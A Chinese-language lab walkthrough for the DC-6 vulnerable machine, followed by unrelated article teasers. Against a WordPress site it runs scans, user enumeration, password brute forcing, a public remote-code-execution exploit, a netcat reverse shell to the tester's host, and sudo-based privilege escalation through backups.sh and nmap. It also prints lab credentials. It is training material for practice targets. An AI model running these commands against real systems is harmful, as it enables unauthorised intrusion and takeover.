DC-6靶机详解

ops/2025/3/16 16:57:23/

一、主机发现

arp-scan -l

靶机ip为192.168.55.159

二、端口扫描、目录枚举、指纹识别、

2.1端口扫描

nmap 192.168.55.159

发现没有开放特殊端口

看来信息收集的重点要放在网页中了

2.2目录枚举

dirb http://192.168.55.159

2.3指纹识别

nmap 192.168.55.159 -sV -sC -O --version-all

三、进入靶机网页进行信息收集、反弹shell

此靶机需要域名映射,下载靶机时作者给出了方法,不再赘述

发现靶机的网页是wordpress

可以尝试wpscan工具对网站进行扫描

wpscan --url http://wordy/ 

发现wordpress的版本为5.1.1

尝试枚举用户名

wpscan --url http://wordy --enumerate u

枚举出来了5个用户名

接下来尝试使用密码字典进行爆破(下载地址中作者给出了相应的字典)

cp /usr/share/wordlists/rockyou.txt  1.txt (先将该密码复制到桌面上)
cat 1.txt | grep k01 > 2.txt  (根据作者提示筛选密码)

已经爆破出来了一个账号密码

mark
helpdesk01

成功进入靶机后台

发现了wordpress的一个插件

在kali中找此插件的漏洞

searchsploit Activity monitor

发现有远程代码执行漏洞

直接执行该exp即可,拿下低权限shell

python 50110.py

四、nmap提权

发现这个shell不稳定,使用cd命令就自动退出

重新反弹一个shell

nc -lvvp 4444
nc -e /bin/sh 192.168.55.132 4444
python -c "import pty;pty.spawn('/bin/bash')"

4.1靶机信息收集

uname -a
lsb_release -a

筛选一下SUID命令,尝试一下suid提权

find / -perm  -4000 -print 2>/dev/null

发现没有常用的命令,尝试其他思路

4.2登陆graham用户

进入home目录,发现靶机一共有四个用户

其中jens用户目录下有一个备份文件,此备份文件的权限很高,感觉此备份文件可能可以提权,尝试运行,发现无权限

继续查看其它用户的目录下的信息,发现mark用户下有一个员工的文件,看看里面的内容

发现graham用户的账号和密码

su graham
GSo7isUM1D4

4.3登陆jens用户

查看graham用户的sudo命令权限,发现jens用户不需要密码即可登陆

sudo -l

graham用户的权限能够使用backups.sh

将切换jens用户的命令追加到backup.sh中

echo '/bin/bash' >>backups.sh
sudo -u jens ./backups.sh

4.4nmap提权

一样的套路发现nmap这个命令没有密码

去提权网站查找namp提权的方式

尝试使用命令进行提权

提权成功!


http://www.ppmy.cn/ops/166251.html

相关文章

【PyCharm2024】一些好用的小功能

目录 一、全局查找及替换关键字 方法一: 方法二: 二、调整字体大小 三、调整Terminal的字体大小 四、改变行注释的斜体以及颜色 一、全局查找及替换关键字 编写程序时,通常想要在所有文件中查找或者替换某个词。 方法一: …

【linux驱动开发】创建proc文件系统中的目录和文件实现

1. proc_mkdir_data 说明: 用于在 /proc 文件系统中创建一个目录 函数原型: struct proc_dir_entry *proc_mkdir_data(const char *name, umode_t mode, struct proc_dir_entry *parent, void *data); 参数: const char *name: 要创建的目录…

C 语言进【进阶篇】之动态内存管理:从底层机制到实战优化

目录 🚀前言🌟动态内存分配的必要性🤔动态内存分配函数深度剖析💯malloc函数:内存申请的主力军💯free函数:释放内存的“清道夫”💯calloc函数:初始化内存的利器&#x1f…

Ceph(1):分布式存储技术简介

1 分布式存储技术简介 1.1 分布式存储系统的特性 (1)可扩展 分布式存储系统可以扩展到几百台甚至几千台的集群规模,而且随着集群规模的增长,系统整体性能表现为线性增长。分布式存储的水平扩展有以下几个特性: 节点…

Centos固定IP配置

虚拟机安装 安装vmware 网盘链接 安装centos7.5 网盘链接 安装教程自行查找 固定IP配置 对安装好的VMware进行网络配置,方便虚拟机连接网络,本次设置建议选择NAT模式,需要宿主机的Windows和虚拟机的Linux能够进行网络连接,…

深度解读DeepSeek部署使用安全(48页PPT)(文末有下载方式)

深度解读DeepSeek:部署、使用与安全 详细资料请看本解读文章的最后内容。 引言 DeepSeek作为一款先进的人工智能模型,其部署、使用与安全性是用户最为关注的三大核心问题。本文将从本地化部署、使用方法与技巧、以及安全性三个方面,对Deep…

【.Net 9下使用Tensorflow.net---通过LSTM实现中文情感分析】

.Net 9下使用Tensorflow.net---通过LSTM实现中文情感分析 一、创建项目,并导入各依赖项1、创建.net9的控制台应用程序2、通过nuget,导入依赖项:TensorFlow.NETTensorFlow.KerasSciSharp.TensorFlow.Redist–如果使用GPU训练,请使用…

理解langchain langgraph 官方文档示例代码中的MemorySaver

以下是langchain v0.3官方示例代码 from langgraph.checkpoint.memory import MemorySaver from langgraph.graph import START, MessagesState, StateGraph# 可以理解为&#xff1a;定义一个流程&#xff0c;这个流程中用到的数据类型是Messages。 <---定义一个有向图&…